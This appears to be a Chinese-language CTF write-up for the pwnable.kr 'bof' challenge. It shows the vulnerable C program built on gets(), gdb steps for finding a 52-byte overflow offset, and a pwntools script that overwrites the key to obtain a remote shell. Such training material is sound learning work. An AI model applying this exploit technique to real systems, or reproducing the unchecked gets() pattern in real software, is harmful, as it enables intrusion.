【Writeup】Pwnable.kr 0x03 bof

0x03 bof

题目描述:

Nana told me that buffer overflow is one of the most common software vulnerability. 
Is that true?

Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c

Running at : nc pwnable.kr 9000

解题思路:

下载后得到代码

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);   // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}

这道题func()中有一个长度为32的字符串数组overflowme,在调用gets()时没有检查字符串长度,会导致缓冲区溢出,超过32字节的数据将覆盖内存中的其他数据。随后比较key和0xcafebabe,相等的话就会弹出shell。

用gbd调试:

  • 用gdb打开
    • 命令:gdb ./bof
  • 先在main函数设置断点
    • 命令:b main


  • 运行程序
    • 命令:r


  • 单步调试到call func后进入函数内部
    • 命令:n(单步不进入) s(单步进入)


  • 查看内存状况,查看esp
    • 命令:x/40xw $esp



      可以看到esp=0xffffcea0,esp存储的地址就是overflowme数组开始的位置,而0xffffcef0这个地址存储的是key,0xcafebabe的值,那么我们就可以通过计算这两个地址的差,得到需要覆盖的长度,计算得出长度为52,那么写脚本

#!/usr/bin/python
from pwn import *

#context(arch = 'i386',os='linux')

r = remote("pwnable.kr","9000")

key = 0xcafebabe
payload = "A" * 52 + p32(key)

r.send(payload)
r.interactive()

最后得到flag

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容